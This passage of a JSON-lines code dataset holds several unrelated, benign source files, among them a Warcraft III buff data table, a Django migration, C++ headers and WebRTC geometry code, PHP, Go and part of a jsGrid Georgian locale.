Damage\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetattachcount=0\n\n[Btlf]\n_code=\"Btlf\"\n_id=\"Btlf\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNAcorn.blp\"\nbufftip=\"Timed Life\"\nbuffubertip=\"Summoned units take damage from dispels.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetattachcount=0\n\n[Btrv]\n_code=\"Btrv\"\n_id=\"Btrv\"\n_type=\"buff\"\neditorname=\"Teleport Reveal\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetattachcount=0\n\n[Btsa]\n_code=\"Btsa\"\n_id=\"Btsa\"\n_type=\"buff\"\neditorname=\"Tornado Spin (Area)\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetattachcount=0\n\n[Btsp]\n_code=\"Btsp\"\n_id=\"Btsp\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNTornado.blp\"\nbufftip=\"Tornado Spin\"\nbuffubertip=\"This unit is caught within a Tornado; it has been tossed into the air.\"\neffectart=\"Abilities\\\\Spells\\\\Other\\\\Tornado\\\\TornadoElementalSmall.mdl\"\neffectattach=\"sprite,first\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetattachcount=0\n\n[Buhf]\n_code=\"Buhf\"\n_id=\"Buhf\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNUnholyFrenzy.blp\"\nbufftip=\"Unholy Frenzy\"\nbuffubertip=\"This unit has Unholy Frenzy; its attack rate is increased, but it takes damage over time.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"undead\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Undead\\\\UnholyFrenzy\\\\UnholyFrenzyTarget.mdl\"\ntargetattach=\"overhead\"\ntargetattachcount=0\n\n[Bult]\n_code=\"Bult\"\n_id=\"Bult\"\n_type=\"buff\"\neditorname=\"Ultravision\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"nightelf\"\nspelldetail=0\ntargetattachcount=0\n\n[Buns]\n_code=\"Buns\"\n_id=\"Buns\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNUnsummonBuilding.blp\"\nbufftip=\"Unsummon\"\neffectsoundlooped=\"AcolyteUnsummonLoop\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"undead\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Undead\\\\Unsummon\\\\UnsummonTarget.mdl\"\ntargetattachcount=0\n\n[Bvng]\n_code=\"Bvng\"\n_id=\"Bvng\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNAvengingWatcher.blp\"\nbufftip=\"Spirit of Vengeance\"\nbuffubertip=\"Vengeance was here.\"\neffectart=\"Abilities\\\\Spells\\\\Orc\\\\FeralSpirit\\\\feralspiritdone.mdl\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"nightelf\"\nspelldetail=0\ntargetattachcount=0\n\n[Bvul]\n_code=\"Bvul\"\n_id=\"Bvul\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNInvulnerable.blp\"\nbufftip=\"Invulnerable\"\nbuffubertip=\"This unit is invulnerable; it will not take damage from attacks and cannot be targeted by spells.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Human\\\\DivineShield\\\\DivineShieldTarget.mdl\"\ntargetattach=\"origin\"\ntargetattachcount=0\n\n[Bwea]\n_code=\"Bwea\"\n_id=\"Bwea\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNWeb.blp\"\nbufftip=\"Web\"\nbuffubertip=\"This unit is webbed; it is stuck to the ground and cannot move.\"\neditorsuffix=\" (Air)\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"undead\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Undead\\\\Web\\\\Web_AirTarget.mdl\"\ntargetattach=\"chest,mount\"\ntargetattachcount=0\n\n[Bweb]\n_code=\"Bweb\"\n_id=\"Bweb\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNWeb.blp\"\nbufftip=\"Web\"\nbuffubertip=\"This unit is webbed; it is stuck to the ground and cannot move.\"\neditorsuffix=\" (Ground)\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"undead\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Undead\\\\Web\\\\WebTarget.mdl\"\ntargetattach=\"origin\"\ntargetattachcount=0\n\n[XErc]\n_code=\"XErc\"\n_id=\"XErc\"\n_type=\"buff\"\neditorname=\"Rain of Chaos (Effect)\"\niseffect=1\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetattachcount=0\n\n[XErf]\n_code=\"XErf\"\n_id=\"XErf\"\n_type=\"buff\"\neditorname=\"Rain of Fire (Effect)\"\neffectart=\"Abilities\\\\Spells\\\\Demon\\\\RainOfFire\\\\RainOfFireTarget.mdl\"\neffectsound=\"RainOfFireWave\"\neffectsoundlooped=\"RainOfFireLoop\"\niseffect=1\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetattachcount=0\n\n[XEsf]\n_code=\"XEsf\"\n_id=\"XEsf\"\n_type=\"buff\"\neditorname=\"Starfall (Effect)\"\neffectart=\"Abilities\\\\Spells\\\\NightElf\\\\Starfall\\\\StarfallCaster.mdl\"\niseffect=1\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"nightelf\"\nspelldetail=0\ntargetattachcount=0\n\n[XEtq]\n_code=\"XEtq\"\n_id=\"XEtq\"\n_type=\"buff\"\neditorname=\"Tranquility (Effect)\"\neffectart=\"Abilities\\\\Spells\\\\NightElf\\\\Tranquility\\\\Tranquility.mdl\"\neffectsoundlooped=\"TranquilityLoop\"\niseffect=1\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"nightelf\"\nspelldetail=0\ntargetattachcount=0\n\n[XHbz]\n_code=\"XHbz\"\n_id=\"XHbz\"\n_type=\"buff\"\neditorname=\"Blizzard (Effect)\"\neffectart=\"Abilities\\\\Spells\\\\Human\\\\Blizzard\\\\BlizzardTarget.mdl\"\neffectsound=\"BlizzardWave\"\neffectsoundlooped=\"BlizzardLoop\"\niseffect=1\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"human\"\nspelldetail=0\ntargetattachcount=0\n\n[XHfs]\n_code=\"XHfs\"\n_id=\"XHfs\"\n_type=\"buff\"\neditorname=\"Flame Strike (Effect)\"\neffectart=\"Abilities\\\\Spells\\\\Human\\\\FlameStrike\\\\FlameStrikeEmbers.mdl\"\neffectsoundlooped=\"HumanFireLarge\"\niseffect=1\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"human\"\nspelldetail=0\ntargetattachcount=0\n\n[XIct]\n_code=\"XIct\"\n_id=\"XIct\"\n_type=\"buff\"\neditorname=\"Item Change Time of Day\"\niseffect=1\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetattachcount=0\n\n[XNcs]\n_code=\"XNcs\"\n_id=\"XNcs\"\n_type=\"buff\"\neditorname=\"Cluster Rockets (Effect)\"\niseffect=1\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetattachcount=0\n\n[XNhs]\n_code=\"XNhs\"\n_id=\"XNhs\"\n_type=\"buff\"\neditorname=\"Healing Spray (Effect)\"\niseffect=1\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspecialart=\"Abilities\\\\Spells\\\\Human\\\\Heal\\\\HealTarget.mdl\"\nspelldetail=0\ntargetattachcount=0\n\n[XNmo]\n_code=\"XNmo\"\n_id=\"XNmo\"\n_type=\"buff\"\neditorname=\"Monsoon (Effect)\"\neffectart=\"Abilities\\\\Spells\\\\Other\\\\Monsoon\\\\MonsoonRain.mdl\"\neffectsoundlooped=\"MonsoonLoop\"\niseffect=1\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetattachcount=0\n\n[XNvc]\n_code=\"XNvc\"\n_id=\"XNvc\"\n_type=\"buff\"\neditorname=\"Volcano (Effect)\"\neffectsoundlooped=\"VolcanoLoop\"\niseffect=1\nmissilearc=0.8\nmissileart=\"Abilities\\\\Spells\\\\Other\\\\Volcano\\\\VolcanoMissile.mdl\"\nmissilehoming=1\nmissilespeed=400\nrace=\"other\"\nspecialart=\"Abilities\\\\Spells\\\\Other\\\\Volcano\\\\VolcanoDeath.mdl\"\nspelldetail=0\ntargetattachcount=0\n\n[XOeq]\n_code=\"XOeq\"\n_id=\"XOeq\"\n_type=\"buff\"\neditorname=\"Earthquake (Effect)\"\neffectart=\"Abilities\\\\Spells\\\\Orc\\\\EarthQuake\\\\EarthQuakeTarget.mdl\"\neffectsoundlooped=\"EarthquakeLoop\"\niseffect=1\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"orc\"\nspelldetail=0\ntargetattachcount=0\n\n[XOre]\n_code=\"XOre\"\n_id=\"XOre\"\n_type=\"buff\"\neditorname=\"Reincarnation (Effect)\"\niseffect=1\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"orc\"\nspelldetail=0\ntargetattachcount=0\n\n[XUdd]\n_code=\"XUdd\"\n_id=\"XUdd\"\n_type=\"buff\"\neditorname=\"Death And Decay (Effect)\"\neffectart=\"Abilities\\\\Spells\\\\Undead\\\\DeathandDecay\\\\DeathandDecayTarget.mdl\"\neffectsoundlooped=\"DeathAndDecayLoop\"\niseffect=1\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"undead\"\nspelldetail=0\ntargetattachcount=0\n\n[Xbdt]\n_code=\"Xbdt\"\n_id=\"Xbdt\"\n_type=\"buff\"\neditorname=\"Reveal (Effect)\"\neffectart=\"Abilities\\\\Spells\\\\Other\\\\Andt\\\\Andt.mdl\"\niseffect=1\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetattachcount=0\n\n[Xbli]\n_code=\"Xbli\"\n_id=\"Xbli\"\n_type=\"buff\"\neditorname=\"Blight (Effect)\"\niseffect=1\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetattachcount=0\n\n[Xbof]\n_code=\"Xbof\"\n_id=\"Xbof\"\n_type=\"buff\"\neditorname=\"Burning Oil (Effect)\"\neffectart=\"Abilities\\\\Spells\\\\Human\\\\FlameStrike\\\\FlameStrikeEmbers.mdl\"\neffectsoundlooped=\"HumanFireLarge\"\niseffect=1\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"orc\"\nspelldetail=0\ntargetattachcount=0\n\n[Xclf]\n_code=\"Xclf\"\n_id=\"Xclf\"\n_type=\"buff\"\neditorname=\"Cloud (Effect)\"\neffectart=\"Abilities\\\\Spells\\\\Human\\\\CloudOfFog\\\\CloudOfFog.mdl\"\neffectsoundlooped=\"CloudOfFogLoop\"\niseffect=1\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"human\"\nspelldetail=0\ntargetattachcount=0\n\n[Xdis]\n_code=\"Xdis\"\n_id=\"Xdis\"\n_type=\"buff\"\neditorname=\"Hero Dissipate (Effect)\"\niseffect=1\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetattachcount=0\n\n[Xesn]\n_code=\"Xesn\"\n_id=\"Xesn\"\n_type=\"buff\"\neditorname=\"Sentinel (Effect)\"\niseffect=1\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"nightelf\"\nspelldetail=0\ntargetart=\"Units\\\\NightElf\\\\Owl\\\\Owl.mdl\"\ntargetattach=\"overhead\"\ntargetattachcount=0\n\n[Xfhl]\n_code=\"Xfhl\"\n_id=\"Xfhl\"\n_type=\"buff\"\neditorname=\"Building Damage - Human Large\"\neffectsoundlooped=\"HumanFireLarge\"\niseffect=1\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"human\"\nspelldetail=0\ntargetart=\"Environment\\\\LargeBuildingFire\\\\LargeBuildingFire1.mdl,Environment\\\\LargeBuildingFire\\\\LargeBuildingFire0.mdl,Environment\\\\LargeBuildingFire\\\\LargeBuildingFire0.mdl,Environment\\\\SmallBuildingFire\\\\SmallBuildingFire1.mdl,Environment\\\\LargeBuildingFire\\\\LargeBuildingFire1.mdl,Environment\\\\SmallBuildingFire\\\\SmallBuildingFire0.mdl\"\ntargetattach=\"sprite,first\"\ntargetattach1=\"sprite,second\"\ntargetattach2=\"sprite,fifth\"\ntargetattach3=\"sprite,third\"\ntargetattach4=\"sprite,fourth\"\ntargetattach5=\"sprite,sixth\"\ntargetattachcount=6\n\n[Xfhm]\n_code=\"Xfhm\"\n_id=\"Xfhm\"\n_type=\"buff\"\neditorname=\"Building Damage - Human Medium\"\neffectsoundlooped=\"HumanFireMedium\"\niseffect=1\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"human\"\nspelldetail=0\ntargetart=\"Environment\\\\LargeBuildingFire\\\\LargeBuildingFire2.mdl,Environment\\\\SmallBuildingFire\\\\SmallBuildingFire1.mdl,Environment\\\\LargeBuildingFire\\\\LargeBuildingFire0.mdl,Environment\\\\SmallBuildingFire\\\\SmallBuildingFire2.mdl\"\ntargetattach=\"sprite,first\"\ntargetattach1=\"sprite,second\"\ntargetattach2=\"sprite,fourth\"\ntargetattach3=\"sprite,fifth\"\ntargetattachcount=4\n\n[Xfhs]\n_code=\"Xfhs\"\n_id=\"Xfhs\"\n_type=\"buff\"\neditorname=\"Building Damage - Human Small\"\neffectsoundlooped=\"HumanFireSmall\"\niseffect=1\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"human\"\nspelldetail=0\ntargetart=\"Environment\\\\SmallBuildingFire\\\\SmallBuildingFire2.mdl,Environment\\\\SmallBuildingFire\\\\SmallBuildingFire1.mdl\"\ntargetattach=\"sprite,first\"\ntargetattach1=\"sprite,fourth\"\ntargetattachcount=2\n\n[Xfla]\n_code=\"Xfla\"\n_id=\"Xfla\"\n_type=\"buff\"\neditorname=\"Flare (Effect)\"\neffectart=\"Abilities\\\\Spells\\\\Human\\\\Flare\\\\FlareTarget.mdl\"\niseffect=1\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"human\"\nspelldetail=0\ntargetattachcount=0\n\n[Xfnl]\n_code=\"Xfnl\"\n_id=\"Xfnl\"\n_type=\"buff\"\neditorname=\"Building Damage - Night Elf Large\"\neffectsoundlooped=\"NightElfFireLarge\"\niseffect=1\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"nightelf\"\nspelldetail=0\ntargetart=\"Environment\\\\NightElfBuildingFire\\\\ElfLargeBuildingFire1.mdl,Environment\\\\NightElfBuildingFire\\\\ElfLargeBuildingFire0.mdl,Environment\\\\NightElfBuildingFire\\\\ElfLargeBuildingFire0.mdl,Environment\\\\NightElfBuildingFire\\\\ElfSmallBuildingFire1.mdl,Environment\\\\NightElfBuildingFire\\\\ElfLargeBuildingFire2.mdl,Environment\\\\NightElfBuildingFire\\\\ElfSmallBuildingFire0.mdl\"\ntargetattach=\"sprite,first\"\ntargetattach1=\"sprite,second\"\ntargetattach2=\"sprite,fifth\"\ntargetattach3=\"sprite,third\"\ntargetattach4=\"sprite,fourth\"\ntargetattach5=\"sprite,sixth\"\ntargetattachcount=6\n\n[Xfnm]\n_code=\"Xfnm\"\n_id=\"Xfnm\"\n_type=\"buff\"\neditorname=\"Building Damage - Night Elf Medium\"\neffectsoundlooped=\"NightElfFireMedium\"\niseffect=1\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"nightelf\"\nspelldetail=0\ntargetart=\"Environment\\\\NightElfBuildingFire\\\\ElfLargeBuildingFire2.mdl,Environment\\\\NightElfBuildingFire\\\\ElfSmallBuildingFire1.mdl,Environment\\\\NightElfBuildingFire\\\\ElfLargeBuildingFire0.mdl,Environment\\\\NightElfBuildingFire\\\\ElfSmallBuildingFire2.mdl\"\ntargetattach=\"sprite,first\"\ntargetattach1=\"sprite,second\"\ntargetattach2=\"sprite,fourth\"\ntargetattach3=\"sprite,fifth\"\ntargetattachcount=4\n\n[Xfns]\n_code=\"Xfns\"\n_id=\"Xfns\"\n_type=\"buff\"\neditorname=\"Building Damage - Night Elf Small\"\neffectsoundlooped=\"NightElfFireSmall\"\niseffect=1\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"nightelf\"\nspelldetail=0\ntargetart=\"Environment\\\\NightElfBuildingFire\\\\ElfSmallBuildingFire2.mdl,Environment\\\\NightElfBuildingFire\\\\ElfSmallBuildingFire1.mdl\"\ntargetattach=\"sprite,first\"\ntargetattach1=\"sprite,fourth\"\ntargetattachcount=2\n\n[Xfol]\n_code=\"Xfol\"\n_id=\"Xfol\"\n_type=\"buff\"\neditorname=\"Building Damage - Orc Large\"\neffectsoundlooped=\"HumanFireLarge\"\niseffect=1\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"orc\"\nspelldetail=0\ntargetart=\"Environment\\\\LargeBuildingFire\\\\LargeBuildingFire1.mdl,Environment\\\\LargeBuildingFire\\\\LargeBuildingFire0.mdl,Environment\\\\LargeBuildingFire\\\\LargeBuildingFire0.mdl,Environment\\\\SmallBuildingFire\\\\SmallBuildingFire1.mdl,Environment\\\\LargeBuildingFire\\\\LargeBuildingFire1.mdl,Environment\\\\SmallBuildingFire\\\\SmallBuildingFire0.mdl\"\ntargetattach=\"sprite,first\"\ntargetattach1=\"sprite,second\"\ntargetattach2=\"sprite,fifth\"\ntargetattach3=\"sprite,third\"\ntargetattach4=\"sprite,fourth\"\ntargetattach5=\"sprite,sixth\"\ntargetattachcount=6\n\n[Xfom]\n_code=\"Xfom\"\n_id=\"Xfom\"\n_type=\"buff\"\neditorname=\"Building Damage - Orc Medium\"\neffectsoundlooped=\"HumanFireMedium\"\niseffect=1\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"orc\"\nspelldetail=0\ntargetart=\"Environment\\\\LargeBuildingFire\\\\LargeBuildingFire2.mdl,Environment\\\\SmallBuildingFire\\\\SmallBuildingFire1.mdl,Environment\\\\LargeBuildingFire\\\\LargeBuildingFire0.mdl,Environment\\\\SmallBuildingFire\\\\SmallBuildingFire2.mdl\"\ntargetattach=\"sprite,first\"\ntargetattach1=\"sprite,second\"\ntargetattach2=\"sprite,fourth\"\ntargetattach3=\"sprite,fifth\"\ntargetattachcount=4\n\n[Xfos]\n_code=\"Xfos\"\n_id=\"Xfos\"\n_type=\"buff\"\neditorname=\"Building Damage - Orc Small\"\neffectsoundlooped=\"HumanFireSmall\"\niseffect=1\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"orc\"\nspelldetail=0\ntargetart=\"Environment\\\\SmallBuildingFire\\\\SmallBuildingFire2.mdl,Environment\\\\SmallBuildingFire\\\\SmallBuildingFire1.mdl\"\ntargetattach=\"sprite,first\"\ntargetattach1=\"sprite,fourth\"\ntargetattachcount=2\n\n[Xful]\n_code=\"Xful\"\n_id=\"Xful\"\n_type=\"buff\"\neditorname=\"Building Damage - Undead Large\"\neffectsoundlooped=\"UndeadFireLarge\"\niseffect=1\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"undead\"\nspelldetail=0\ntargetart=\"Environment\\\\UndeadBuildingFire\\\\UndeadLargeBuildingFire1.mdl,Environment\\\\UndeadBuildingFire\\\\UndeadLargeBuildingFire0.mdl,Environment\\\\UndeadBuildingFire\\\\UndeadLargeBuildingFire0.mdl,Environment\\\\UndeadBuildingFire\\\\UndeadSmallBuildingFire1.mdl,Environment\\\\UndeadBuildingFire\\\\UndeadLargeBuildingFire2.mdl,Environment\\\\UndeadBuildingFire\\\\UndeadSmallBuildingFire0.mdl\"\ntargetattach=\"sprite,first\"\ntargetattach1=\"sprite,second\"\ntargetattach2=\"sprite,fifth\"\ntargetattach3=\"sprite,third\"\ntargetattach4=\"sprite,fourth\"\ntargetattach5=\"sprite,sixth\"\ntargetattachcount=6\n\n[Xfum]\n_code=\"Xfum\"\n_id=\"Xfum\"\n_type=\"buff\"\neditorname=\"Building Damage - Undead Medium\"\neffectsoundlooped=\"UndeadFireMedium\"\niseffect=1\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"undead\"\nspelldetail=0\ntargetart=\"Environment\\\\UndeadBuildingFire\\\\UndeadLargeBuildingFire2.mdl,Environment\\\\UndeadBuildingFire\\\\UndeadSmallBuildingFire1.mdl,Environment\\\\UndeadBuildingFire\\\\UndeadLargeBuildingFire0.mdl,Environment\\\\UndeadBuildingFire\\\\UndeadSmallBuildingFire2.mdl\"\ntargetattach=\"sprite,first\"\ntargetattach1=\"sprite,second\"\ntargetattach2=\"sprite,fourth\"\ntargetattach3=\"sprite,fifth\"\ntargetattachcount=4\n\n[Xfus]\n_code=\"Xfus\"\n_id=\"Xfus\"\n_type=\"buff\"\neditorname=\"Building Damage - Undead Small\"\neffectsoundlooped=\"UndeadFireSmall\"\niseffect=1\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"undead\"\nspelldetail=0\ntargetart=\"Environment\\\\UndeadBuildingFire\\\\UndeadSmallBuildingFire2.mdl,Environment\\\\UndeadBuildingFire\\\\UndeadSmallBuildingFire1.mdl\"\ntargetattach=\"sprite,first\"\ntargetattach1=\"sprite,fourth\"\ntargetattachcount=2\n"} -{"text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('proposals', '0004_auto_20150923_0743'),\n ]\n\n operations = [\n migrations.AlterModelOptions(\n name='proposalbase',\n options={'ordering': ['title']},\n ),\n ]\n"} -{"text": "using Cirrious.CrossCore.Plugins;\n\nnamespace $rootnamespace$.Bootstrap\n{\n public class MessengerPluginBootstrap\n : MvxPluginBootstrapAction\n {\n }\n}"} -{"text": "// -*- C++ -*-\n// Definition for Win32 Export directives.\n// This file is generated automatically by\n// generate_export_file.pl\n// ------------------------------\n#if !defined (ACE_QOS_EXPORT_H)\n#define ACE_QOS_EXPORT_H\n\n#include /**/ \"ace/config-all.h\"\n\n#if defined (ACE_AS_STATIC_LIBS)\n# if !defined (ACE_QoS_HAS_DLL)\n# define ACE_QoS_HAS_DLL 0\n# endif /* ! ACE_QoS_HAS_DLL */\n#else\n# if !defined (ACE_QoS_HAS_DLL)\n# define ACE_QoS_HAS_DLL 1\n# endif /* ! ACE_QoS_HAS_DLL */\n#endif /* ACE_AS_STATIC_LIB */\n\n#if defined (ACE_QoS_HAS_DLL)\n# if (ACE_QoS_HAS_DLL == 1)\n# if defined (ACE_QoS_BUILD_DLL)\n# define ACE_QoS_Export ACE_Proper_Export_Flag\n# define ACE_QoS_SINGLETON_DECLARATION(T) ACE_EXPORT_SINGLETON_DECLARATION (T)\n# define ACE_QoS_SINGLETON_DECLARE(SINGLETON_TYPE, CLASS, LOCK) ACE_EXPORT_SINGLETON_DECLARE(SINGLETON_TYPE, CLASS, LOCK)\n# else\n# define ACE_QoS_Export ACE_Proper_Import_Flag\n# define ACE_QoS_SINGLETON_DECLARATION(T) ACE_IMPORT_SINGLETON_DECLARATION (T)\n# define ACE_QoS_SINGLETON_DECLARE(SINGLETON_TYPE, CLASS, LOCK) ACE_IMPORT_SINGLETON_DECLARE(SINGLETON_TYPE, CLASS, LOCK)\n# endif /* ACE_QoS_BUILD_DLL */\n# else\n# define ACE_QoS_Export\n# define ACE_QoS_SINGLETON_DECLARATION(T)\n# define ACE_QoS_SINGLETON_DECLARE(SINGLETON_TYPE, CLASS, LOCK)\n# endif /* ! ACE_QoS_HAS_DLL == 1 */\n#else\n# define ACE_QoS_Export\n# define ACE_QoS_SINGLETON_DECLARATION(T)\n# define ACE_QoS_SINGLETON_DECLARE(SINGLETON_TYPE, CLASS, LOCK)\n#endif /* ACE_QoS_HAS_DLL */\n\n#endif /* ACE_QOS_EXPORT_H */\n\n// End of auto generated file.\n"} -{"text": "/*\n * Copyright (c) 2013 The WebRTC project authors. All Rights Reserved.\n *\n * Use of this source code is governed by a BSD-style license\n * that can be found in the LICENSE file in the root of the source\n * tree. An additional intellectual property rights grant can be found\n * in the file PATENTS. All contributing project authors may\n * be found in the AUTHORS file in the root of the source tree.\n */\n\n#include \"modules/desktop_capture/desktop_geometry.h\"\n\n#include \n#include \n\nnamespace webrtc {\n\nbool DesktopRect::Contains(const DesktopVector& point) const {\n return point.x() >= left() && point.x() < right() && point.y() >= top() &&\n point.y() < bottom();\n}\n\nbool DesktopRect::ContainsRect(const DesktopRect& rect) const {\n return rect.left() >= left() && rect.right() <= right() &&\n rect.top() >= top() && rect.bottom() <= bottom();\n}\n\nvoid DesktopRect::IntersectWith(const DesktopRect& rect) {\n left_ = std::max(left(), rect.left());\n top_ = std::max(top(), rect.top());\n right_ = std::min(right(), rect.right());\n bottom_ = std::min(bottom(), rect.bottom());\n if (is_empty()) {\n left_ = 0;\n top_ = 0;\n right_ = 0;\n bottom_ = 0;\n }\n}\n\nvoid DesktopRect::UnionWith(const DesktopRect& rect) {\n if (is_empty()) {\n *this = rect;\n return;\n }\n\n if (rect.is_empty()) {\n return;\n }\n\n left_ = std::min(left(), rect.left());\n top_ = std::min(top(), rect.top());\n right_ = std::max(right(), rect.right());\n bottom_ = std::max(bottom(), rect.bottom());\n}\n\nvoid DesktopRect::Translate(int32_t dx, int32_t dy) {\n left_ += dx;\n top_ += dy;\n right_ += dx;\n bottom_ += dy;\n}\n\nvoid DesktopRect::Extend(int32_t left_offset,\n int32_t top_offset,\n int32_t right_offset,\n int32_t bottom_offset) {\n left_ -= left_offset;\n top_ -= top_offset;\n right_ += right_offset;\n bottom_ += bottom_offset;\n}\n\nvoid DesktopRect::Scale(double horizontal, double vertical) {\n right_ += static_cast(std::round(width() * (horizontal - 1)));\n bottom_ += static_cast(std::round(height() * (vertical - 1)));\n}\n\n} // namespace webrtc\n"} -{"text": "createTime = $createTime;\n }\n public function getCreateTime()\n {\n return $this->createTime;\n }\n public function setDownloadUrl($downloadUrl)\n {\n $this->downloadUrl = $downloadUrl;\n }\n public function getDownloadUrl()\n {\n return $this->downloadUrl;\n }\n public function setName($name)\n {\n $this->name = $name;\n }\n public function getName()\n {\n return $this->name;\n }\n public function setType($type)\n {\n $this->type = $type;\n }\n public function getType()\n {\n return $this->type;\n }\n}\n"} -{"text": "package textseg\n\nimport \"unicode/utf8\"\n\n// ScanGraphemeClusters is a split function for bufio.Scanner that splits\n// on UTF8 sequence boundaries.\n//\n// This is included largely for completeness, since this behavior is already\n// built in to Go when ranging over a string.\nfunc ScanUTF8Sequences(data []byte, atEOF bool) (int, []byte, error) {\n\tif len(data) == 0 {\n\t\treturn 0, nil, nil\n\t}\n\tr, seqLen := utf8.DecodeRune(data)\n\tif r == utf8.RuneError && !atEOF {\n\t\treturn 0, nil, nil\n\t}\n\treturn seqLen, data[:seqLen], nil\n}\n"} -{"text": "# See the OWNERS docs at https://go.k8s.io/owners\n\napprovers:\n- chengfei01\n- shengpeng\n- zhaogangtao\nlabels:\n- main\n- service\n- service/main/tv\noptions:\n no_parent_owners: true\nreviewers:\n- chengfei01\n- shengpeng\n- shenpeng\n"} -{"text": "// import { createSelector } from 'reselect';\n\n/**\n * Direct selector to the list state domain\n */\n\n// const selectGlobalDomain = () => state => state.get('global');\n\nexport {};\n"} -{"text": "(function(jsGrid) {\n\n jsGrid.locales.ka = {\n grid: {\n noDataContent: \"\u10db\u10dd\u10dc\u10d0\u10ea\u10d4\u10db\u10d4\u10d1\u10d8 \u10ea\u10d0\u10e0\u10d8\u10d4\u10da\u10d8\u10d0.\",\n deleteConfirm: \"\u10dc\u10d0\u10db\u10d3\u10d5\u10d8\u10da\u10d0\u10d3 \u10d2\u10e1\u10e3\u10e0\u10d7 \u10e9\u10d0\u10dc\u10d0\u10ec\u10d4\u10e0\u10d8\u10e1 \u10ec\u10d0\u10e8\u10da\u10d0?\",\n pagerFormat: \"\u10d2\u10d5\u10d4\u10e0\u10d3\u10d4\u10d1\u10d8: {first} {prev} {pages} {next} {last}    {pageIndex} - {pageCount} \u10d3\u10d0\u10dc.\",\n pagePrevText: \"<\",\n pageNextText: \">\",\n pageFirstText: \"<<\",\n pageLastText: \">>\",\n loadMessage: \"\u10d2\u10d7\u10ee\u10dd\u10d5\u10d7 \u10d3\u10d0\u10d8\u10ea\u10d0\u10d3\u10dd\u10d7...\",\n invalidMessage: \"\u10e8\u10d4\u10e7\u10d5\u10d0\u10dc\u10d8\u10da\u10d8\u10d0 